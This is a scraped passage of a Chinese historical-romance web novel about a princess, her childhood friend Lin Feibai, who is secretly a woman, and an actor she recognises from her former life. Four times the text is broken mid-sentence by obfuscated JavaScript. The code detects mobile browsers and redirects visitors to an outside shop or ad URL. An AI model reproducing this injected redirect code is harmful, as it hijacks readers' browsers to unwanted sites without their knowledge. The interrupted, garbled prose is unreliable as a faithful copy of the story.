她说完随即转过身去,背对着肖郢往回走。她的声音听不出一丝哭腔与哽咽,可在转身的那一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309890|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,眼泪却不自禁地流。 我知晓你本不该识我,却还是听到答案的那一刻,控制不住自己的情绪。 迎面追来的林飞白恰巧目睹这一切,他甚至还能分清公主脸上的水珠哪里是眼泪,哪里是雨水。 啪嗒—— 林飞白扔掉手中的笼子摔在地上,被关在笼中的蝴蝶得到了自由,往温吟知和肖郢所在的花丛飞去。 肖郢的脚尖动了动,林飞白已经先他一步跑到公主身边。他手上的伞全部向公主倾斜,紧随其后公主的带来的宫女们也全都围上来。 她的周遭都是人。 肖郢握着伞柄的手青筋凸显,站在原地不动,目送着温吟知离去。 夏雨缠绵,落在青石板上水光泠泠。 肖郢再也忍受不住,躬着腰压抑地轻咳着。 温吟知并未走远,她走后又绕路回来躲在暗处看他——我骗你的肖郢,以往次次都是我目送你远去,这次怎么会例外。 她缓缓收拢五指,在衣袖中握成一个拳。她不能上前,她什么都不能做。 她看着漫天飞舞的蝶围绕在肖郢的周围,莫名感觉他也是蝶。 一只困在茧中,竭力想要挣脱的蝶。 —— 温吟知又回到了方才看演出的那间屋子。 她看着早就人去台空的舞台,头一次懂了‘悲伤的欢喜’是何滋味。 春婳春雪守在门外,林飞白在屋内陪着温吟知。 他从未见过这样的公主。她从来都是从容不迫的、永远胸有成竹的,除了先太子去世时,他从未瞧见公主露出过如此神色。 林飞白憋了半响,终是忍不住道:“你喜欢他。” 温吟知眼睫动了动,刚要解释她对肖赢的感情不是男女之情的喜欢。 林飞白接下来的话让她备受震惊。 “你看向他的眼神,就和我看向你的眼神一样。” “那种充满爱意的眼神,那种瞬间的真心和幸福,眼睛是骗不了人的。” 温吟知回头看向林飞白,重新正视这位从小一起长大的朋友。 林飞白低下头,道:“你喜欢他,为什么不把他留在你身边。” 温吟知不知如何同林飞白解释,她对肖赢的喜欢,从来都不是占为己有。 林飞白也没给她解释的机会,他自顾自地说起了话:“今日请公主来,一是因为听闻公主缠缠绵绵病了许久,想寻些新鲜事物哄公主开心。二是陛下有意撮合我俩的婚事,我请公主来,是想征得公主的同意,希望公主能嫁给我。” 林飞白声音低低的,“若公主嫁给我,公主喜欢谁都可以将他带回府,我不会碰你。公主生下的孩子,我都会让他们入族谱,当自己的亲生孩子对待。” “我亦也不会纳妾,此生此世只有公主你一位正妻。” 温吟知坐直了身姿,瞬间方才颓然的情绪全数散去。她没有忘记此行的目的,郑重地同林飞白道:“你说了这么多全是为了我,那么你自己呢?” 林飞白浑身一震,低垂的头更低了。 温吟知忍不住搬出公主的架势:“你抬起头来,看着我说。” 公主之命,岂能不从。林飞白缓缓抬起头,视线一点点上移的同时,她看见公主那张精致美丽的脸上充满了心疼与不甘。 她发髻上系的发带在她身后,随着风飘扬着。林飞白忍不住回忆起小时候,两人初见时。他躲在小他两岁的公主身后,就是这般看着身前公主。那时,她的发髻上的发带也是这般,随风自由地飞舞。 林飞白眉目温和地笑了笑,目光始终看向温吟知:“对我来说,最重要的——是你。” 这般柔情剖心直球的话语,让温吟知这个在皇宫里玩惯了弯弯肠子的公主,打得措手不及。 她不忍林飞白走上这样的路,用一生的幸福去成全这个朝代的父权和皇权。 “可对我来说,你也很重要。”她伸手替林飞白挽起鬓前的碎发,轻轻别在耳后。 她想为自己走出一条不一样的路,也想为林飞白争一条属于她的路。 于是她问林飞白:“你难道就不想以女子的身份,光明正大的行走在这世间吗?” 7. 女子的温柔 “你……”林飞白双唇蠕动,震惊到无法言语。 温吟知知晓林飞白想问什么,淡笑道:“想说我是怎么知道的吗?那你还记得我们是如何相识的吗?” 林飞白自然记得。那时她十岁,父亲第一次带她入宫,为陛下最疼爱的六公主过生辰。十岁之前,父亲担忧她女子的身份暴露。因此绝非迫不得已的场合,父亲都是能拒则拒。 生辰宴时,各位大人家的孩子均是提前入宫候着。林飞白是生面孔,自报家门后估摸着因父亲的官职,倒是也结识了不少新朋友。 可当她小解出后,她带的随侍却不见了。她往外走几步,以为随侍在外等她。没曾想,一和她年龄相仿的公子哥吊儿郎当地拦下她的去路。 “呦,这不是林尚书家藏了十年的好儿子吗?” 林飞白不识得他,此人方才没在宴席上。 “怎么,哑巴啊,问你不会说话啊?”对方上前一步,并伸手朝她胸口推了一下 猝不及防被推的林飞白胸口一痛,下意识含胸缩肩,脸色煞白往后退。 对方疑惑地瞧了自己的手一眼,忽然情绪激动地指责她:“你个小白脸给本世子装可怜是吧?” “行,本世子爷让你装可怜。”对方伸手抓住她的衣领,拖着她往湖边走,将她的脸往水里按:“本世子爷今日要洗干净你这肮脏的嘴脸。” 咕噜噜,她被按在水里无法呼吸。出门前父亲再三叮嘱她不要生事,一旦她女子的身份被曝光,林家就会毁在她手上。她不知晓自己何时得罪了眼前人,对方竟然要这般对她。 就在她以为她要死在这里的时候,忽然整个人都被提了起来。 有人救了她。 她咳嗽着缓慢睁开眼,率先看见的便是粉色发带飘扬在空中。视线再往上移,是一位扎着飞仙髻,看起来比她年纪还小的小姑娘正挡在她身前。 小姑娘挥起手,毫不犹豫的朝眼前的男孩打了一巴掌。 男孩十分震惊不可思议的语气:“你打我!” 超级愤怒的女声:“打得就是你!好的不学,竟学些宫中的腌臜手段!” 两人吵起来。 “我没想害他,我只是给他一个小小教训!他爹没少给我爹使绊子!” “那关她什么事!教训?温建安我看你欠教训。” 小姑娘说完,又朝男孩另外一边脸挥去一巴掌。 男孩双手捂着左右双脸:“你又打我,我告诉我爹!” 女孩丝毫不在怕的:“我也告诉我爹!” 男孩气愤地瞪林飞白一眼后走了。 小姑娘蹲下身子,神色担忧地问她:“你没事吧?” 林飞白摇摇头,小姑娘笑容甜甜地问她:“我叫温吟知,你叫什么名字呀?” 温是国姓,方才那男孩又自称是世子,林飞白猜测他便是庆王的唯一嫡子温建安。而眼前这位小姑娘的名字她是听过的,正是今日的寿星——六公主。 出门前父亲再三叮嘱她不许生事,结果她一下子就招惹了宫中这两位贵人。 林飞白颤颤巍巍地回答:“我叫林飞白。” 回忆戛然而止,林飞白神色一变:“莫非从初始我就暴露?” 那时她才十岁,公主才八岁!一个八岁的孩子便能看破她的伪装,那么……林飞白不敢往下想,浑身冒出一层冷汗。 “那倒不是……”温吟知瞧见林飞白脸色不好,更加不会说实话。 幼时八岁生辰她躲在树上图清闲,恰巧目睹温建安推林飞白那一幕。因着她活过一世,自然瞧出女孩子青春期的不同。外加当时的林飞白,的确清秀的像个女孩,她才妄加推测的。 但她当时只是怀疑,是后面一点一滴的相处中她方才确定自己的猜测。 “是这么多年相处下来,我略有所怀疑。方才的一切,都是我诈你的。”温吟知细细说着林飞白的过往。 温吟知看着林飞白黝黑的脸,道:“温建安说你小白脸,联同其他孩子嘲笑你像个女子。你便三伏天都在酷暑中暴晒,即使中暑也要将自己这张脸晒得铁黑,摆脱女子秀气。” 又看着她结实的身躯道:“温建安说你身子矮小像个女子,没他魁梧高大。你便日日在原地蹦跳,弯弓搭箭举大石,只为让自己强壮得看起来像个男子。” 林飞白挺直脊梁,平静地说道:“作为父亲唯一的孩子,这是我要扛起的责任。” 温吟知点点头,并不反驳。她只是讲述着她知道、见到的一切。 “听父皇说你三岁便启蒙了,早也用功晚也用功,是国子监里最勤奋的学子。天热长痱子天冷长冻疮,你都一日不曾落下读书。即使生病,每日也要学上九个时辰。只因林大人一句,你要入朝为官,接他衣钵。” 林飞白原本还挺直的脊梁,随着温吟知这一句话语,逐渐弯了下去。 她九岁便下考场,当年便取得秀才的资格。往后每三年下秋闱,次次均不中。她让父亲失望了,但好在父亲给了她另外一条道路。 “飞白。”温吟知温柔唤她:“我说这些只是想问你,你自己的想法呢?” “我自己的想法?”林飞白念叨着这一句话,她从未想过这个问题,从来都是父亲要她做什么,她便做什么。 林飞白摇摇头:“我的想法不重要。若我是女子的身份被发现,会给父亲和族人带来危险的。” 她平静地看着温吟知:“就像我不娶公主,公主也会嫁给其他人,我也亦会娶亲。” 温吟知轻笑:“那是因为权力不在我们手上,若我们是掌权者呢?” 林飞白呼吸一滞,一时间忘记了言语。 “林大人一直以来对你的要求,不就是林家下一任掌权者吗?”温吟知点到为止,有些路只能一个人走。 温吟知起身,往前走了两步,最终还是不忍,心疼她的来时路。 她说:“飞白,酷暑寒冬十五年挑灯苦读,每月都喝着不来月事的药,藏着这个秘密小心翼翼、忐忑不安的瞒着所有人,很辛苦吧。” 话毕,一滴泪控制不住的从林飞白的右眼角滑落。 这么多年都这么过年的林飞白没哭,如今却只因为公主一句关心的问候,哭了。 她伸出手扯住温吟知的衣角,压抑着哽咽着同温吟知小声倾诉:“可我能怎么办?我又能怎么办?我别无选择……” 她父亲是尚书省的尚书令大人,是陛下最倚重的大臣之一,很多双眼睛都在盯着她们林家。她要肩负起家族的荣耀,虽然她总是不能如父亲所愿。 林飞白的声音里满是身不由己的委屈,温吟知轻拍了拍林飞白的后背,温声说道:“你想做男子还是做女子都不重要,重要的是怎么样的活法才能令你快活。” 这话,也是温吟知说给自己听的。 林飞白强忍着眼泪,苦笑:“可我能走去哪,只要父亲一声令下,天南海角都能把我寻回来。” 她无法逃避这一切,却也不甘心如此过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309891|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生。 她恨自己是个女子,偏偏只是个女子!她若是个男子便好了……可她现在的身份不就是男子吗?林飞白茫然地坐在原地,忘记了哭泣。 她似乎找到了这么多年来,她心中郁结的原因了。原来真的如公主所言,做男子还是做女子都不重要,重要的是怎么样的活法才能令她自己快活。 她一直渴望着父亲的认同,努力去做好父亲交代的每一件事。可直到这一刻她才大梦初醒,一直活在父亲的安排下,她是永远也无法真正做自己,也走不出自己的路的。 于她而言,不破,不立。 那她又能做什么呢?她又想做什么呢?她在心中问着自己。 起风后又逐渐无风,公主发间的发带悄悄落在她的手背上。幼时她站在公主身后,那飞扬怎么也抓不住的发带,此刻正落在她手上。 “我叫温吟知,你叫什么名字呀?” “我叫林飞白。” “母后,女儿今日交了一位新朋友。这碗长寿面,女儿想同新朋友一块分享。” “阿白,你愿意和我一块吃这碗长寿面吗?” 十岁了,那是她第一次吃长寿面。 那日是她母亲的忌日,也是她的生日。 幼时公主曾在事后问过她:“你手劲大,温建安那样对你,你完全可以推开他。你为什么不推开他?” 当时的她被问懵了,她长至此父亲一直都是叮嘱她小心低调行事,莫让人瞧出端倪。因此她也从未想过,原来可以反抗。 林飞白忽然间知晓自己该去往何处了。 她看着眼前一直在温柔注视着她的公主,坚定地说道:“我想去边疆,想去从军。” 公主眼中没有一丝惊讶,似乎早就预料到她的选择。 公主只是关心地问:“边疆很大很远也很苦,时常有战乱。除了不安全外,气候也不好,甚至有时吃不上一顿饱饭。” “世子不也去了吗?”林飞白改口道:“如今也不该唤他世子,该唤将军了。” 林飞白忆起往昔,温建安是在老王爷去世后动身前往边疆。在人人都以为他一个京城纨绔,子承父业,镇守边疆,必将死在战乱时。他却在边疆为自己杀出了一条生的血路。 温吟知笑了笑:“你不讨厌他吗?” 林飞白思绪放远,想起幼时三人初见面那场闹剧。 “浓浓,你不要不理我,不要不跟我玩。” “他们都说我是坏孩子。” “我错了,我去给林飞白道歉。我下次再也不干这种事了。” “浓浓,你理理我吧。” “讨厌。”林飞白直言,温建安甚至是她往昔岁月的噩梦。她过往总是战战兢兢,担忧被他发现真实性别。可没有他,公主那日便也不会救她…… 一切都像一场无解的局。 温吟知再次确认:“当真想好了吗?” 被公主这么一问,林飞白又不太确定了。 她想的是:“可是我走了,你的婚事怎么办?” 林飞白吞吞吐吐道:“你能不能先假装同意我俩的婚事……” 温吟知愣了一瞬,林飞白慌乱道:“你等等我……就半年!” “半年后,我一定会当上将军,告诉世人我是女子。” “彼时,你我婚事自当不作数。”林飞白温和地笑着:“你便可去做,你想要的事。” “就让我为你,先行探路。” “……好吗?” 8. 紫藤花未眠 温吟知的预言梦中,所有的一切都会在父皇半年后的寿辰上改变。父皇去世,皇兄继位,她被软禁。 今日她前来,本意就是与林飞白开诚布公的交谈。她知晓林飞白女子的身份,揭不揭开这层身份,对温吟知而言其实并无所谓。她只要在这半年里做出成就,争取女子也能继位的资格。那么到时再公布林飞白是女子,这门婚事自当作废。 可是在那个向死而生的雨夜,那场雨改变了她的想法。 她和阿白,都是在这世间努力活着的女子阿。 于是在黎明将至的前夕,她让春雪准备了一份女子的路引。 她想同林飞白说: 你走吧,去过你自己想要的生活。 半年后,若是她成功成为新的继位者,你再选择要不要回来。 若是她失败了,那就用新的身份好好活下去,永远不要回来了。 可是这些话,她都还未说出口。阿白便对她说: “半年后,我一定会当上将军,告诉世人我是女子。” “彼时,你我婚事自当不作数。” “你便可去做,你想要的事。” “就让我为你,先行探路。” 温吟知忍不住张开双手拥抱林飞白,真心实意地说道:“谢谢你。” 林飞白僵在原地几秒后,方才僵硬地回抱温吟知。在温吟知看不见的角度,她内敛一笑,轻声回道:“该是我谢谢你。” 谢谢你幼时的出手相助,谢谢你在你的生日宴上,牵着我的手告诉大家,我是你新交的朋友。谢谢你分享的那碗长寿面……谢谢你这么多年一直帮我隐瞒这个秘密。 谢谢你——我交到的第一位朋友。 得到林飞白的回应后,温吟知轻轻松开了手。 林飞白脸颊发烫:“去向陛下亲旨吧。今夜请旨,大局已定,父亲便会放松警惕。明日便是离开的最佳时机。” “好,今晚我在此住一晚,明日我送你离开。”温吟知开口道。 林飞白点头,想在京城父亲的眼皮子底下逃走不容易。但是有了公主的帮忙,胜算便大了许多。 温吟知派人进宫请旨,前后不过半个时辰,这赐婚的圣旨便下来了。似乎这是一道早就写好却秘而没发的圣旨一般。 温吟知带着林飞白在前院接了旨,丫鬟小厮们都喜气洋洋的,唯独两位当事人脸上并无一丝喜色。温吟知抬头望向今晚的月亮,它高高地遥挂在空中,周围没有一颗星星。 清冷、孤寂。 林飞白发觉公主接旨后的情绪,沉默地看向公主,竟然在公主的眼里看到了‘思念’二字。 月亮,思念。 她在思念谁。 —— “陛下将公主赐婚我家二公子。”小厮抱着一沉甸甸的匣子进来,道:“公子说你的策划与唱法都很好,你功不可没,这些都是特地赏你的。” 小厮将匣子放在肖郢屋内的桌子上,话说完便离开了。 肖郢看着桌上的匣子,指尖摸上匣子的外壳,脑海里浮现今日雨中奔跑过来的那道身影。 那时,他清楚地看到她眼中强忍的泪光。 她有一双很漂亮的眼睛,很晶莹很明亮。 肖郢指尖泛白也未曾打开那匣子。 他移步到窗前,院中的紫藤花爬过月洞垂下长长的藤蔓。见他目光看过来,温吟知侧过身,躲在垂落的紫藤花后边。 她问了阿白肖郢的住处,想再远远地再瞧他一眼。 风静静地吹,紫藤花蔓微微摇动,隐隐勾勒出躲在花后的身影。 她背对着他,不敢回头看。事实上只要她回头,便知晓肖郢的视线一直都停留在她身上。 但她没有。 古筝声响,熟悉又陌生的前奏穿过院子,传到院外。 温吟知脑海跟着这旋律,自动回忆起歌词: “无心过问你的心里我的吻 厌倦我的亏欠 代替你所爱的人 …… 至少我们直线曾经交叉过 就像站在烈日骄阳大桥上 眼泪狂奔滴落在我的脸庞”① 随着深沉和含蓄缓慢的乐声逐渐步入尾声,温吟知也缓缓蹲下身子,双手环抱自己的双膝。 她的双肩在颤抖,眼泪滴湿了衣裳。 这首歌名叫《泪桥》,是现代很出名的一首歌。 一首歌是巧合,那么两首呢? 肖郢就是肖赢,她肯定没有认错。 肖郢今日的否认,只是因为他真的不认识她做出的防备而已。 她好想冲到肖郢面前,笑着对他说句:“嗨,我认识你已经很久了。” 可是她不能。 府医说他身上有伤,是成年累月积累下来的。作为一名戏子,为了生存,受伤是常态。 她只能给肖郢一匣子后半辈衣食无忧的银钱。派人在暗中保护他,护他这辈子平安顺遂,让他去做他想做的事。 她这一日,经历了重逢的欣喜又被否认的寂寥。夜晚又峰回路转,确定肖郢就是肖赢。她的心情在这一日大起大落,竟然连什么时候乐声已停都不知晓。 她哭着哭着——睡着了。 就这么靠在紫藤花边,睡着了。 肖郢悄声走到月洞前,看着紫藤花开,没再往外迈出一步。 躲在树上的春婳双手抱刀环胸,看着二人仅仅一墙之隔。一个清醒着,一个睡着了。紫藤花瓣落在公主的发间,公主都浑然不知。 公主自梦魇以来,便从心底十分抗拒入睡一事。因为公主每次醒来,心都会莫名的抽痛,沉浸在悲伤的情绪中。可是今日,公主就这么轻易地睡着了。 春婳想,也不知晓公主这次还会不会继续做噩梦。 温吟知没有做噩梦,并且她还梦到了肖赢。 她梦到自己回到了现代,坐在演唱会的观众席上,看着台上的肖赢跳着独舞《泪桥》。 温吟知的潜意识里很清楚这是一场梦,因为在现代肖赢从未唱过、跳过这首歌。她知道现在所看到的一切都是她幻想的,但是她就是不愿意醒来。她许久许久没有好好睡过一场安稳的觉了,也贪恋这一刻的美好。 她一如初见那般坐在台下,望向台上那唯一人,视线随着舞台的光一路随着他。 可是,梦终究是梦,总会有醒来的时候。 月色暗沉,不知何时。 温吟知迷茫地睁开眼,身上的衣服还是古装。左脚被压得有些麻,温吟知小心翼翼扶着墙站起来,透过花墙月洞,眷恋地抬眸看向院内,想要记住肖郢的模样。 屋内已没烛光。 外头的更夫,打更声是一慢三快,已到四更天,还有一个时辰便要天亮了。 天亮以后,她和肖郢不会再有交集,一切都会恢复正常。 温吟知双眸微微颤动,最终还是缓缓转身离开此地。她的身影逐渐远去,与夜色融于一体的春婳悄悄跟上。 无人瞧见,寅时四刻,紫藤花未眠,只余月光拉长,月洞门侧那道颀长的影子。 —— 天刚亮,温吟知便要离开避暑山庄。 她停在避暑山庄的门前,对刚得知消息便急匆匆赶来的林管家说:“婚事已定,成婚前不便相见,不必喊你家公子送本公主。” “公主说的是。”林管家恭敬道。 温吟知不再言语,在身侧侍女的搀扶下,进马车。随后方才搀扶她的那名侍女,也入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309892|198783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内。 林管家疑惑一瞬,公主身侧一般都是跟着春雪姑娘,何时多了名陌生的宫女跟随来着?但他实在是没见过这位姑娘,便也不再想这等无关紧要的小事。 马车驶出避暑山庄,往城内驶去。 坐在马车里的温吟知,看着对面的女子打扮的林飞白,道:“林管家并未起疑心,身后也无人追来。等会马车会在城中的一客栈停下,我将在那用早膳,春婳已经在那给你安排好了一切。” “盯着我的人多,我不方便送你到城外。届时我们便在此分别,你拿着行李和路引出城吧。” 十八年来头一次穿上女装的林飞白,不自在地摸了摸脸上的粉和被修过的眉毛。这粉遮盖住她原本的肤色,原本的粗眉也被修成柳叶眉。春雪姑娘的这双巧手,将她化得如此柔情似水。别说林管家认不出她,就连她都认不出来这是她自己。 从小她便喜欢看公主穿各式各样的裙子,总是幻想着有朝一日,自己也能穿上一回裙子。可这一日真的到来了,她反而没有想象中的开心。 “公主。”林飞白不舍的唤温吟知。战场凶险,她也不知晓自己是否能完成心愿,活着归来。 林飞白此番前去边疆,她唯一放心不下的便只有公主一人。 她对温吟知说:“你把他带入宫吧。至少有他在的时候,你会开心许多。” 以后她不在,没有人会再四处寻法子哄公主开心了。 这个‘他’林飞白虽然没有指名道姓,温吟知却还是知道林飞白口中的‘他’是在说谁。 温吟知摇摇头,否定道:“我不会让他留在我身边的。” 她接下来要做的事,一个弄不好会牵连身边的人为她所做的决定丧命。她的身边太危险了,她不能让肖赢涉险。 “他的奴契在你这里吗?”温吟知问。 林飞白思索了下:“不在,他是我花钱请来,奴契应该在戏班主那。” “我知晓了。”温吟知轻声道。 马车停下,分别的时刻要到了。 林飞白狠狠搓着手指,酸涩的感觉涌上喉间。 温吟知懂她此刻分别的难过,往常都是阿白哄她开心。于是她不忍开口道:“可别哭,等会脸上就白一道,黑一道,成个小花猫。” 林飞白忍不住咧嘴一笑。 温吟知撩起车帘,笑容温和:“待我走后,车夫会将马车牵到后院。等无人时你再下车,下车后会有人接应你。” “好。”林飞白点头。 温吟知放下车帘,轻声说了句:“再见。” “再见。”林飞白亦轻声回她,努力记住她最后的笑颜。 一切都如公主计划中进行,等外头没动静时,林飞白便从马车上下来。 客栈内便出来一丫鬟打扮的姑娘,她走到林飞白跟前行礼道:“奴婢是伺候姑娘梳妆的喜儿。” “裴姑娘请上车,该启程回乡祭祖了。” 裴姓,这是公主外祖家姓氏。林飞白昨夜根本没来得及翻开那份路引,并不知晓公主给她准备新身份姓甚名谁。但她知晓公主这是将她当做家人般的存在,才会为她折‘裴’姓。 “好。”林飞白低下头,一滴眼泪从空中滴落,没有弄花她脸上的妆容。 马车哒哒哒驶出后院,林飞白忍不住掀开窗帘,公主坐马车时最喜爱看外边景色的。 这一次,她看到了坐在客栈二楼窗边的公主。公主眉目弯弯地笑着,身后依旧的发带依旧飞扬着。 不同的是,这次公主无声地朝她说了一句话。 林飞白读懂了公主的唇语,她是笑着离开京城的。 她永远记得,公主最后对她说的是: 我在皇城等你——凯旋归来。 9. 失而复得 林飞白的马车消失在街巷中后,温吟知才卸下扮轻松的假面。 她的心里空荡荡的。 三年前太子哥哥离世,两年前温建安远赴边疆,五哥为救未过门的嫂嫂,两人双双溺水身亡。今日阿白也离开了京城,能陪在她身边的人越来越少了。 春雪似乎也被这种情绪所感染了,向来活泼的她今日却异常安静的。 “回宫吧。”温吟知开口道,她在此已经逗留太久,再待下去会引人起疑心的。 春雪眨巴下眼睛:“公主,不等春婳一块回宫吗?” 温吟知回她:“春婳去取肖郢的奴契并将他安顿好,她是赶不上跟我们一块回宫的。” 春雪日日都跟随在温吟知身侧,众人都眼熟春雪。温吟知怕日后她的此番举动,给肖郢惹上不必要的麻烦。因此由一直在暗处保护她的春婳去处理此事就正合适。 春雪若有所思地看着公主。公主她眉头紧锁,眉间似有一团抹不开的忧愁。 春婳说得对,肖公子对公主而言很重要。春雪在心里暗道,一时间没听见公主的问话。 “春雪。”温吟知伸手在春雪的面前晃了晃。 春雪回过神来:“嗯?公主有何吩咐。” “想什么呢心不在焉的。近日四哥那边可有消息?”温吟知疑惑问。 春雪避轻就重答:“派去的人回禀,四殿下一切如常并无任何异动。” 温吟知心中总有些不好的预感,她拧了拧眉心道:“被困在府中一月有余,四哥不是坐以待毙之人。这几日盯紧些,我总觉得四哥除了拿婚事牵制我外,还留有后手。” “是。”春雪应下。 二人交谈完毕,马车也刚好停在宫门口。温吟知一路回到栖鸾宫,瞧见她主殿的房门是紧闭的。 温吟知停住脚步,回头问春雪:“大白天的为何房门紧闭。” 春雪低头,一言不发。 温吟知眼皮一跳,方才她就觉得春雪今日过于安静,还特地提到了春婳。 温吟知心里头闪过一个念头,说时迟那时快春婳就从拐角处出现,从袖中递出一张纸给温吟知:“林二公子托属下转交给公主的。” 温吟知接过,打开一看,是一张奴契。奴契姓名那一栏,正写着肖郢二字。 这奴契她不是吩咐归还给肖郢了吗?如今怎么还在春婳手中!温吟知垂下眼看向春婳。 春婳笔直跪下,朝温吟知请罪:“奴婢未完成公主所托,擅自做主将人带回栖鸾宫,请公主责罚。” 春雪紧跟着道:“奴婢也有罪,明知此事却还隐瞒不报,甘愿与春婳一块受罚。” 春婳春雪二人从小就跟在温吟知身边,她知晓二人不会无缘无故违逆她的决策。 她询问道:“为何要擅作主张?” 春婳视线稍偏,落在腰间寒冷的匕首上:“我只懂刀,不懂公主为何不带肖公子回宫。” 她语气没有一丝温度,甚至还带有一丝桀骜:“但我懂,他能让公主睡个好觉。” 昨夜她在树上真真切切瞧见到,公主在紫藤花下睡了三个时辰后,醒来没有‘发病’。 温吟知没曾想会是这个回答,她昨夜明明吩咐了春婳不用跟来,春婳还是偷偷躲在暗处保护她。她心中一时五味陈杂,不知该如何言语。 春婳仰起头,将温吟知的神色都看在眼里。她心疼公主这两月以来被梦魇折磨所受的苦,亲眼见证公主曾想放弃自己的生命。如可以,她宁愿自己代替公主承受这一切。 “肖郢的奴契林二公子昨夜已寻班主买下。林二公子说她走前,会再一次跟公主提议留下肖郢。若是公主不同意,我便直接将人带回栖鸾宫。这是她离开前,最后能为公主做的事。” 春婳缓缓道:“我们都觉得,肖郢对公主而言,是不一样的存在。” 春雪在一侧赞同点头。 闻言,温吟知在心中叹了一口气。她伸手扶起春婳春雪二人,随后缓缓坐在院中的石凳上,看着天色里的云沉默。 春婳以为公主在担忧名声一事:“他随我一块入宫的,很少人瞧见。公主将他养在栖鸾宫,平日里也不让他出宫便可。” 她是公主的暗卫,进出宫都有特权。这一路上谁瞧见了她,她都知晓。 “阿婳,他是人,他需要自由。”温吟知最是明白被囚禁的滋味,她在梦中经历过无数次这种时刻,她不想将肖郢关在栖鸾宫中。 “即使是撕家都需要自由。” 撕家是温吟知养的一只猫,是她一年前出宫时捡的。 春婳上前一步,向来冰冷干脆的语调里带有一丝恳求:“可是事已至此,公主不妨试试他能否治好公主的梦魇。若是不行,我再把他送出宫去,不会叫人察觉的。” 温吟知没有一口否决:“此事容我再想想。” 春雪春婳见温吟知松口,便不再劝说而是自动退下领罚。温吟知没制止,等她们走后门外只剩下她一个人。 她看着那扇紧闭的大门,不敢上前一步。别看她风光无限,总是一副运筹帷幄的样子,其实她心里住着一只胆小鬼。她没有勇气推开这扇门,也不知以何种方式与肖郢相处。 砰—— 屋内的窗户被撞开。 温吟知循声看去,一只漂亮的长毛三花猫从屋内跳上窗户。在见到温吟知那一刻,它高傲地仰起头,迈着优雅的猫步在窗沿边上走着。 这便是温吟知养的猫——撕家。 温吟知对此情形已经见怪不怪,她每次出门回来,撕家都要从别处窜出来吓她一跳,然后高傲地抬起脖子等待着她的抚摸。等她真的摸它,一般没多久,它就要不耐烦地逃走。 可是今日撕家却没有过来。因为它从窗边下来后,便藏在草丛里暗暗观察窗边的男人。 温吟知一眼就看见站在窗边身着华服,气质出尘,却带着些病弱之姿的肖郢。 肖郢浓密的睫羽低垂着,他在找猫。感觉到窗外的视线后,他不经意地抬眼看向温吟知。 温吟知审视着他,肖赢的底色是温柔的。而方才肖郢看向她这一眼,淡漠薄凉,给人感觉像是两个完全不一样的个体。异样的感觉萦绕在温吟知的心间,她不知晓为何会如此。 肖郢打开房门径直往温吟知的方向走去,最终在距离温吟知三步的位置停下,朝她行礼。 “奴——拜见公主。”肖郢的声音低沉,语气一如既往的清冷疏离。 温吟知捏紧手中的奴契,克制地说一句:“免礼。” 肖郢起身,栖鸾宫外传来好大一阵闹腾的声音。 “长生宫办案,替陛下捉拿潜入宫中的刺客。尚方宝剑在此,尔等再敢阻拦,一块抓入刑部大牢审讯。” 听到这熟悉的声音,温吟知预感大事不妙,陆今年又来了。 自温吟知得知春婳将肖郢带回栖鸾宫那刻起,便知晓这会成为他人攻击自己的把柄。但是她却未曾想,对方的速度如此之快,快到她来不及做任何准备。 陆今年带着大批人手闯入,栖鸾宫的宫人被逼得节节后退,其中就包括刚刚退下的春婳春雪。 温吟知下意识将肖郢挡在身后,栖鸾宫宫人迅速地退到温吟知身后,默契地将肖郢藏在人群中。 “陆今年,此乃后宫,不是你能撒野的地方。”温吟知挡住陆今年的去路,语气不善。 陆今年抬手行礼道:“本官自然知晓这是后宫,男子不能踏入。但本官是清净之身且奉命办案,公主请放心,本官玷污不了公主的声誉。” 温吟知看着陆今年手中象征帝王亲临,拥有先斩后奏权力的尚方宝剑,面色十分难看。陆今年到底给父皇吃了什么灵丹妙药,竟然哄得父皇将如此重要的东西都交于他手上。 陆今年见温吟知的视线落在自己手上,唇边含笑地回视温吟知:“本官要入内寻找上月混入宫中刺杀公主的刺客。” 刺客一事,已经过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309893|198783||http|test|mini|href|location''.split(''|''),0,{})); () { 